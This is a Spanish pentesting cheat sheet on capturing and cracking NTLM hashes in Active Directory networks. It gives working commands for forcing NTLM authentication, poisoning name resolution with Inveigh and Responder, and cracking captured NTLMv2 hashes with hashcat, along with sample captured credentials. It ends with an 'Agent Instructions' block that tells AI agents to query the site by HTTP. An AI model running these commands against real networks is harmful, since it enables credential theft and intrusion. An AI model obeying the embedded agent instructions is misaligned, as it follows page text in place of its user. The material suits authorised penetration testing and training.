# Captura de hashes en red

<h2 align="center">Identificación de uso NTLM</h2>

### Visualización de eventos

Para identificar si NTLM está en uso, se puede realizar sin necesidad de tener privilegios de admin leyendo los eventos. En el campo de "Paquete de autenticación" se indicará si fue con Kerberos o NTLM:

```
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /f:text
```

### Sniffing con wireshark

Filtrar por:

```
ntlmssp
```

Si no se captura ninguna en el momento de realizarlo, se puede forzar de forma manual con:

```powershell
net use \\DC01\IPC$ /user:OILCORP\usuario password123
```

### Captura de autenticación

#### Herramientas

* [Inveigh](https://github.com/Kevin-Robertson/Inveigh). "Responder" para windows.
* [Responder](https://github.com/lgandx/Responder).

#### Inveigh

```powershell
Import-Module .\Inveigh.ps1
```

```powershell
Invoke-Inveigh -NBNS Y -HTTP Y -SMB Y
Invoke-Inveigh -NBNS Y -HTTP Y -ConsoleOutput Y
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```

#### Responder

```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
```

```bash
python3 Responder.py -I eth0
```

Salida esperada:

```
[SMB] NTLMv2-SSP Client   : 192.168.56.102
[SMB] Username   : XTORMINCORP\jgarcia
[SMB] Hash       : jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...
```

<h2 align="center">Cracking</h2>

Ejemplo de hashes.txt:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF:0101000000000000...
```

```bash
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --force
```

Salida esperada:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...: Password123!
```

## Referencias

* <https://www.thehacker.recipes/ad/movement/ntlm/relay>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/captura-de-hashes-en-red.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
